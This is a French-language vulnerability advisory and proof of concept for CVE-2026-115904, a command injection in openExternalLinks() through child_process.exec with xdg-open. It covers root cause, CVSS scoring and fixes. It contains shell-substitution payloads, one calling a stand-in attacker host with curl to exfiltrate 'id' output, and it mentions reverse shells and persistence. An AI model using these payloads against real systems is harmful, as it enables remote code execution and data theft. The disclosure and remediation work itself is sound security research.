
Analyse et preuve de concept pour CVE-2026-115904, une injection de commande OS dans openExternalLinks() via child_process.exec, avec analyse de la cause racine, charges utiles et mesures d'atténuation.
openExternalLinks() dans utils.js| ID CVE | CVE-2026-115904 |
| Classe de vulnérabilité | Injection de commande OS (CWE-78) |
| Composant affecté | utils.js → openExternalLinks(url) |
| Plateforme affectée | Linux (branche process.platform === "linux") |
| Vecteur d'attaque | Appel child_process.exec déclenché par interaction utilisateur (clic sur un lien) |
| Score CVSS 3.1 | 9.6 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (vérifié avec l'enregistrement CVE officiel) |
| Statut | Corrigé (v2026.9.2410) |
| Date de découverte | 23 septembre 2026 |
| Date de notification au fournisseur / Demande CVE | 25 septembre 2026 |
| Date du correctif | 25 septembre 2026 (v2026.9.2410) |
| Date de divulgation publique | 28 octobre 2026 (date de publication CVE/GHSA) |
Remarque : Le champ officiel
dateReservedde l'enregistrement CVE apparaît comme étant le 23 octobre 2026 — ce qui correspond à environ un mois après votre date de demande du 25 septembre. Cet écart peut être dû au délai de traitement du côté du CNA (GitHub) ; si vous le souhaitez, je peux également ajouter cette remarque à la chronologie.
La fonction openExternalLinks() dans utils.js exécute la commande xdg-open avec child_process.exec() pour ouvrir une URL externe sur la plateforme Linux. La fonction injecte directement la valeur url provenant de l'utilisateur/du flux applicatif dans la ligne de commande entre guillemets doubles, sans appliquer aucun processus d'échappement sûr pour le shell. Étant donné que la commande exec() s'exécute via un shell (/bin/sh -c), les expressions $(...) (substitution de commande) insérées dans l'URL sont interprétées par le shell, permettant ainsi l'exécution arbitraire de commandes (RCE).
En conséquence, tout flux dans l'application qui génère un lien externe cliquable/déclenchable par l'utilisateur (par ex. messagerie, aperçu de lien, notification, client de messagerie, etc.) peut être transformé en exécution de commandes du système d'exploitation via une URL contrôlée par l'attaquant.
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque (AV) | Réseau |
| Complexité d'attaque (AC) | Faible |
| Privilèges requis (PR) | Aucun |
| Interaction utilisateur (UI) | Requise |
| Portée (S) | Modifiée |
| Confidentialité (C) | Élevée |
| Intégrité (I) | Élevée |
| Disponibilité (A) | Élevée |
| Score de base | 9.6 (Critique) |
const openExternalLinks = (url) => {
if (process.platform === "linux") {
const newUrl = new URL(url);
require("child_process").exec(`xdg-open "${newUrl}"`);
} else {
shell.openExternal(url).catch(err => {
let safeUrl = url;
try {
const parsed = new URL(url);
safeUrl = parsed.hostname || url.substring(0, 30) + '...';
} catch(e) {}
const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
customErr.code = err.code;
throw customErr;
});
}
};
new URL(url) vérifie uniquement si l'URL est syntaxiquement valide ; il n'effectue aucun filtrage des méta-caractères shell.newUrl (c'est-à-dire la sortie toString() de l'objet URL) est directement intégrée à la commande sous la forme xdg-open "${newUrl}" dans une template string.child_process.exec() exécute la commande fournie dans un shell (/bin/sh -c "..."). Les guillemets doubles ("...") ne neutralisent pas tous les méta-caractères dans le shell : ils empêchent l'expansion des espaces et des glob (*), mais la substitution de commande (`cmd` ve $(cmd)) reste active même entre guillemets doubles.url, la commande entre parenthèses est exécutée par le shell avant que xdg-open ne s'exécute.Approche correcte/sûre : utiliser
child_process.execFile("xdg-open", [url])—execFiletransmet directement les arguments au processus sans passer par un shell et élimine totalement cette classe d'injection. Alternativement, sichild_process.execdoit être utilisé, il convient d'ajouter un échappement strict via une bibliothèque du typeshell-quote, ainsi qu'un contrôle par allow-list limitant le schéma d'URL àhttp(s)uniquement.
$(...) contenu dans l'URL avant que xdg-open ne soit appelé.~/.bashrc, crontab, fichiers de démarrage automatique), ouverture d'un reverse shell, etc.http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))
Remarque : La classe WHATWG URL de Node encode automatiquement en pourcentage les caractères tels que l'espace, >, <, {, } dans le chemin (%20 etc.), mais comme $, (, ), |, ; ne sont pas encodés, la substitution de commande n'est pas empêchée. Dans les payloads nécessitant des espaces, on utilise la technique classique $IFS (sans parenthèses $IFS, le séparateur de découpage de mots du shell est une variable et se termine automatiquement lorsqu'elle rencontre un caractère non identificateur).
Un déclencheur PoC direct et inoffensif (pour une preuve hors bande) :
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
utils.js dans un environnement Linux.openExternalLinks() (par ex. le clic sur un lien dans un message/une notification).poc.js) :
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
/tmp/cve-2026-115904-poc.txt est créé et qu'il contient la sortie de la commande id.Sortie vérifiée (ce PoC a été testé dans cet environnement) :
[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)
Le fait que xdg-open échoue lui-même (car aucun navigateur/handler n'est trouvé)
n'a pas d'importance — la substitution de commande est de toute façon déclenchée avant l'appel à xdg-open,
lors de l'analyse de la ligne de commande par le shell.
5. Après avoir confirmé l'exécution de la commande, on peut éventuellement aussi démontrer une exfiltration de données out-of-band avec un listener contrôlé (par ex. une requête vers votre propre serveur avec curl).
Voir poc.js — prouve l'injection de manière sûre dans un environnement local en exécutant une copie isolée et contrôlée de la fonction vulnérable (uniquement avec des commandes inoffensives comme id/touch, sans effectuer de requête vers l'extérieur).